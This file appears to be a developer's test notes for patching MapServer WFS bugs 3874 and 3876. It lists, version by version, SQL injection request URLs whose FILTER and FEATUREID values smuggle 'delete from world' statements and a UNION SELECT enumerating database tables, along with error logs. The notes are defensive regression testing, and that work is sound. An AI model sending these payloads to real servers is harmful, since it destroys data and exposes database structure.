/* ==================================================================== */
/* 6.x and 6.0 branch */
/* ==================================================================== */
case 1: binary comparision
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name')); delete from world; select (('msGeometry-90,-180 90,180
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameEthiopiamsGeometry-90,-180 90,180
case2:islike
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name')); delete from world; select name from world WHERE ((name LIKE 'msGeometry-90,-180 90,180
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameAl*msGeometry-90,-180 90,180
case3:
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name = 'a')); delete from world; select * from world where ((nameamsGeometry-90,-180 90,180
case 4 (bug 3876)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=name&FEATUREID=world.6,world.7)));DELETE FROM world;SELECT name FROM world WHERE (((ogc_fid = 6
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=name&FEATUREID=world.4,world.9
case5:
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameFrance' and 'France')) AND 1 = 0 UNION ALL SELECT 0,c.relname,n.nspname,'',encode(ST_AsBinary(ST_GeomFromText('POLYGON((2 49,3 50,4 51,2 49))')),'hex'),0 FROM pg_class c, pg_namespace n WHERE SUBSTR(c.relname,0,3) != 'pg_' AND c.relkind = 'r' AND c.relnamespace=n.oid --France
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameBC
/* ==================================================================== */
/* 5.6.x */
/* ==================================================================== */
same as the 6.x and 6.0 versions except for case4:
in 5.6 (it needs () around properlty name
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=(name)&FEATUREID=world.6,world.7));DELETE FROM world;SELECT name FROM world WHERE ((ogc_fid = 6
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=(name)&FEATUREID=world.4,world.9
/* ==================================================================== */
/* 5.4.x */
/* ==================================================================== */
1-
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name'); delete from world; select ('msGeometry-90,-180 90,180
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameEthiopiamsGeometry-90,-180 90,180
2-
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name'); delete from world; select name from world WHERE (name LIKE '
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameAl*
3-
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name = 'a'); delete from world; select * from world where (namea
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameAl*
4
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=name&FEATUREID=world.6,world.7));DELETE FROM world;SELECT name FROM world WHERE ((ogc_fid = 6
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=(name)&FEATUREID=world.4,world.9
5
I was not able to reproduce it (but pathcing the bounds since it must be explotable)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameFrance' and 'France') AND 1 = 0 UNION ALL SELECT 0,c.relname,n.nspname,'',encode(ST_AsBinary(ST_GeomFromText('POLYGON((2 49,3 50,4 51,2 49))')),'hex'),0 FROM pg_class c, pg_namespace n WHERE SUBSTR(c.relname,0,3) != 'pg_' AND c.relkind = 'r' AND c.relnamespace=n.oid --France
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameBC
/* ==================================================================== */
/* 5.2.x */
/* ==================================================================== */
case 1: I was not ablwe to reproduce with thsi test case
[
error:
Tue May 31 15:04:18 2011].29000 prepare_database(): Query error. Error declaring cursor: ERROR: column "wkb_geometry" does not exist
LINE 1: ...E (name= ''); delete from world; select ('') and (wkb_geomet...
]
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name'); delete from world; select ('msGeometry-90,-180 90,180
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameEthiopiamsGeometry-90,-180 90,180
case 2
I was not able to reproduce with this example (but still patching)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name'); delete from world; select name from world WHERE (name LIKE '
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameAl*
case 3
I was not able to reproduce with this example (but still patching)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name = 'a'); delete from world; select * from world where (namea
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameAl*
case 4
I was not able to reproduce with this example (but still patching)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=name&FEATUREID=world.6,world.7');DELETE FROM world;SELECT name FROM world WHERE (ogc_fid = '6
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=(name)&FEATUREID=world.4,world.9
case 5
I was not able to reproduce with this example (but still patching)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameFrance' and 'France') AND 1 = 0 UNION ALL SELECT 0,c.relname,n.nspname,'',encode(ST_AsBinary(ST_GeomFromText('POLYGON((2 49,3 50,4 51,2 49))')),'hex'),0 FROM pg_class c, pg_namespace n WHERE SUBSTR(c.relname,0,3) != 'pg_' AND c.relkind = 'r' AND c.relnamespace=n.oid --France
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameBC
/* ==================================================================== */
/* 5.0.x */
/* ==================================================================== */
case 1: I was not ablwe to reproduce with thsi test case
[
error:
[Wed Jun 01 08:58:30 2011].65000 prepare_database(): Query error. Error declaring cursor: ERROR: column "wkb_geometry" does not exist
LINE 1: ...ame= '')); delete from world; select (('') ) and (wkb_geomet...
]
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name')); delete from world; select (('msGeometry-90,-180 90,180
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameEthiopiamsGeometry-90,-180 90,180
case 2
I was not able to reproduce with this example (but still patching)
error: [Wed Jun 01 09:02:13 2011].463000 prepare_database(): Query error. Error declaring cursor:
With query string: DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d(wkb_geometry)),'NDR'),ogc_fid::text from world WHERE ( (name like '')); delete from world; select name from world WHERE ((name LIKE '' escape '!') ) and (wkb_geometry && setSRID( 'BOX3D(-180 -90,180 90)'::BOX3D,find_srid('','world','wkb_geometry') ))
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name')); delete from world; select name from world WHERE ((name LIKE '
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameAl*
case 3
I was not able to reproduce with this example (but still patching)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name = 'a')); delete from world; select * from world where ((namea
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameAl*
case 4
I was not able to reproduce with this example (but still patching)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=name&FEATUREID=world.6,world.7');DELETE FROM world;SELECT name FROM world WHERE (ogc_fid = '6
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=(name)&FEATUREID=world.4,world.9
case 5
I was not able to reproduce with this example (but still patching)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameFrance' and 'France') AND 1 = 0) UNION ALL SELECT 0,c.relname,n.nspname,'',encode(ST_AsBinary(ST_GeomFromText('POLYGON((2 49,3 50,4 51,2 49))')),'hex'),0 FROM pg_class c, pg_namespace n WHERE SUBSTR(c.relname,0,3) != 'pg_' AND c.relkind = 'r' AND c.relnamespace=n.oid --France
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameBC
/* ==================================================================== */
/* 4.10.x */
/* ==================================================================== */
NOTE: keyword DEBUG should be removed from map file
mapserv.exe "QUERY_STRING=
case 1: I was not ablwe to reproduce with thsi test case
[
error:
[Wed Jun 01 08:58:30 2011].65000 prepare_database(): Query error. Error declaring cursor: ERROR: column "wkb_geometry" does not exist
LINE 1: ...ame= '')); delete from world; select (('') ) and (wkb_geomet...
]
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name'); delete from world; select ('msGeometry-90,-180 90,180
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameEthiopiamsGeometry-90,-180 90,180
case 2
I was not able to reproduce with this example (but still patching)
error: [Wed Jun 01 09:02:13 2011].463000 prepare_database(): Query error. Error declaring cursor:
With query string: DECLARE mycursor BINARY CURSOR FOR SELECT asbinary(force_collection(force_2d(wkb_geometry)),'NDR'),ogc_fid::text from world WHERE ( (name like '')); delete from world; select name from world WHERE ((name LIKE '' escape '!') ) and (wkb_geometry && setSRID( 'BOX3D(-180 -90,180 90)'::BOX3D,find_srid('','world','wkb_geometry') ))
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name')); delete from world; select name from world WHERE ((name LIKE '
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameAl*
case 3
I was not able to reproduce with this example (but still patching)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=name = 'a')); delete from world; select * from world where ((namea
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameAl*
case 4
FEATUREID not supported in theis version
case 5
I was not able to reproduce with this example (but still patching)
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameFrance' and 'France') AND 1 = 0) UNION ALL SELECT 0,c.relname,n.nspname,'',encode(ST_AsBinary(ST_GeomFromText('POLYGON((2 49,3 50,4 51,2 49))')),'hex'),0 FROM pg_class c, pg_namespace n WHERE SUBSTR(c.relname,0,3) != 'pg_' AND c.relkind = 'r' AND c.relnamespace=n.oid --France
http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=nameBC